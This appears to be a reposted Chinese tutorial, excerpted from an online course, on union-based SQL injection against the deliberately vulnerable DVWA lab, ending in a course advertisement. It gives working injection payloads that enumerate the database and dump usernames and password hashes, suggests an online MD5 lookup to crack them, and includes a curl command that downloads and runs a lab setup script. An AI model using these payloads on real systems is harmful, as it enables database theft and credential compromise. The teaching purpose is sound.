「网络安全」web 漏洞入门之 |
您所在的位置:网站首页 › sql注入类型分为哪两种 › 「网络安全」web 漏洞入门之 |
寻找注入点:指找到存在 SQL 注入的参数,SQL 注入大多发生在 GET 或 POST 请求的参数中,当然也有可能发生在其他地方,例如 UserAgent、Cookie 等 判断注入类型 / 数据库类型:SQL 注入按照不同的分类标准,可以分成不同的种类。 按照参数类型可分为两种:数字型和字符型。 根据数据库返回的结果,可分为回显注入、报错注入、盲注。 按照注入方法,还可以分为联合注入、堆叠注入、宽字节注入、延时注入等。 按照参数类型可分为两种:数字型和字符型。 根据数据库返回的结果,可分为回显注入、报错注入、盲注。 按照注入方法,还可以分为联合注入、堆叠注入、宽字节注入、延时注入等。 猜解数据库名:猜解后台数据库的库名 猜解数据表名:成功猜解到数据库名称后,进一步猜解某一个特定数据库中数据表的名称 猜解数据字段名:最后是某个特定数据库中特定数据表中的字段,因为获取到字段才能查询数据 使用SQL 注入进行爆库 我们先通过一个实验,让你更加清楚的理解 SQL 注入攻击的全过程,然后再针对「 如何寻找注入点」和「 如何判断注入类型」这两部分做详细的讲解。 首先,在终端中执行如下命令快速部署实验环境: # 适用于 Ubuntu 20.04 4G VNC 环境 curl 'https://labfile.oss.aliyuncs.com/courses/3471/3471-sql-init-1.sh'> ~/3471-sql-init-1.sh;chmod +x ~/3471-sql-init-1.sh;./3471-sql-init-1.sh 然后打开桌面上的 Firefox 浏览器,访问以下网址 : http://localhost/dvwasql 点击 create/Reset Database创建数据库: 稍微等待几秒后,会自动跳转到登录界面,默认用户名为 admin密码为 password。 为了让我们更容易理解 SQL 注入的原理,所以先手动将 Security 级别调整为 low,注意需要点击 Submit使设置生效: 第一步:寻找注入点 点击左侧的 SQL injection页面开始注入: 先输入 1 ,查看回显 (URL 中 ID=1,说明 php 页面通过 get 方法传递参数): 那实际上后台执行了什么样的 SQL 语句呢?点击 view source查看源代码: 可以看到,实际执行的 SQL 语句是: SELECT first_name, last_name FROM users WHERE user_id = '1'; 在参数 id后面加一个单引号试试: 可以看到,返回了数据库报错信息,说明此处存在 SQL 注入漏洞。 至于为什么能判断存在 SQL 注入,后文会细讲。 至于为什么能判断存在 SQL 注入,后文会细讲。 我们使用最简单的「联合查询注入」来进行演示。 联合查询的语法如下: SELECTcolumn_name(s) FROMtable1 UNION SELECTcolumn_name(s) FROMtable2; union 运算符可以将两个或两个以上 select 语句的查询结果集合合并成一个结果集合显示,即执行联合查询。 但当使用 union select 的时候,需要保证前后查询的列数相同,例如: SELECTA, B FROMusers WHEREuser_id ='1'unionselectC, D; Union 前半部分查询了 A、B 两个字段,Union 后半部分也只能查询 C、D 两个字段,否则就会报错。 但现在有一个问题:我们还不知道 Union 的前半部分查询的字段数是多少? 这个时候就需要用到 order by来查询字段数了。在输入框中输入 1' order by 1#,实际执行的 SQL 语句就会变成: SELECTfirst_name, last_name FROMusers WHEREuser_id ='1'orderby1#`; # 按照 MySQL 语法,# 后面会被注释掉,使用这种方法屏蔽掉后面的单引号,避免语法错误 这条语句的意思是查询 users 表中 user_id 为 1 的数据并按第一字段排行。 输入 1' order by 1#和 1' order by 2#时都返回正常: 当输入 1' order by 3#时,返回错误: 由此可知,users 表中只有两个字段,数据为两列。 知道字段数为 2 之后,接下来就可以使用 union select联合查询继续获取信息。 输入以下进行查询: 1' union select version,@@version_compile_os# version获取当前数据库版本. @@version_compile_os获取当前操作系统。 version获取当前数据库版本. @@version_compile_os获取当前操作系统。 实际执行的 SQL 语句是: SELECTfirst_name, last_name FROMusers WHEREuser_id ='1'unionselectversion,@ @version_compile_os#`; 通过上图返回信息,我们又成功获取到: 当前数据库版本为 : 10.5.8-MariaDB-1:10.5.8+maria~focal 当前操作系统为 : debian-linux-gnu 当前数据库版本为 : 10.5.8-MariaDB-1:10.5.8+maria~focal 当前操作系统为 : debian-linux-gnu 查询数据库名的方法非常简单,只需要执行以下语句进行查询即可 : 1' union select database,user# database将会返回当前网站所使用的数据库名字. user将会返回执行当前查询的用户名. database将会返回当前网站所使用的数据库名字. user将会返回执行当前查询的用户名. 实际执行的 SQL 语句是 : SELECTfirst_name, last_name FROMusers WHEREuser_id ='1'unionselectdatabase, user#`; 通过上图返回信息,我们成功获取到: 当前网站使用数据库为 dvwa 当前执行查询用户名为 root@localhost 当前网站使用数据库为 dvwa 当前执行查询用户名为 root@localhost 接下来我们尝试获取 dvwa 数据库中的表名。 information_schema 是 mySQL 自带的一张表,这张数据表保存了 MySQL 服务器所有数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为 tables 的数据表,该表包含两个字段 table_name 和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。 我们输入以下语句进行查询: 1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa '# 实际执行的 SQL 语句是: SELECT first_name, last_name FROM users WHERE user_id = '1'union select table_name,table_schema from information_schema.tables wheretable_schema= 'dvwa'#`; 通过上图返回信息,我们可以知道以下信息: dvwa 数据库有 2 个数据表 表名为 guestbook 和 users dvwa 数据库有 2 个数据表 表名为 guestbook 和 users 接下来我们继续猜解数据库表中的字段名,因为需要知道字段名,才能查询数据库中存储的数据。 我们输入以下语句查询 users 表中的字段信息: 1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users ' # 从输出结果可知,users 表中有 8 个字段,分别是 user_id,first_name,last_name, user, password,avatar,last_login,failed_login。 直接告诉我们,这些字段中最敏感的是 user, password这两个字段,所以输入: 1' union select user,password from users#进行查询。 实际执行的 SQL 语句是: SELECTfirst_name, last_name FROMusers WHEREuser_id ='1'unionselectuser,password fromusers#`; 可以看到成功爆出用户名、密码,密码采用 md5 进行加密,可以到 https://www.cmd5.com/查询解密: 总结 通过实战的演练,相信大家已经理解了通过 SQL 注入来爆破数据库的方法和流程,最后我们再梳理一下比较重要的知识点: SQL 注入产生的原因 SQL 注入攻击的分类 SQL 注入爆库攻击的 5 个步骤 SQL 注入产生的原因 SQL 注入攻击的分类 SQL 注入爆库攻击的 5 个步骤 上面的内容来自蓝桥云课《Web 漏洞实战:从入门到精通》课程,课程为大家提供了配套的实验环境和靶机,省去本地搭建环境和因法律问题而无法练习的苦恼。 除了 SQL 注入攻击,课程还详细介绍了 文件包含漏洞、 跨站脚本 (XSS) 漏洞、 文件上传漏洞、 命令注入漏洞、 代码注入漏洞、 目录遍历漏洞 的原理、技巧和实战流程,非常适合以下人群: 初级渗透测试工程师 初级安全服务工程师 对 Web 安全领域感兴趣的新手朋友 就读于《信息安全》专业的学生课程地址: https://www.lanqiao.cn/courses/3471 课程大纲: 课程展示 针对每一个 Web 漏洞,课程会从代码层面讲解漏洞产生的原因,帮助你更好的理解漏洞的本质: 针对每一个 Web 漏洞,课程会从代码层面讲解漏洞产生的原因,帮助你更好的理解漏洞的本质: 每个章节均搭配完全在线的实战实验环境,省去自己本地搭建实验环境的烦恼: 每个章节均搭配完全在线的实战实验环境,省去自己本地搭建实验环境的烦恼: 每章节均包含详细的实验步骤,手把手带你完成实验: 每章节均包含详细的实验步骤,手把手带你完成实验: 还会讲解漏洞利用遇到限制时的绕过方法,满满的成就感: 还会讲解漏洞利用遇到限制时的绕过方法,满满的成就感: 👇👇👇 点击文末的 「阅读原文」,免费试学课程内容 ~ 返回搜狐,查看更多 |
今日新闻 |
推荐新闻 |
CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3 |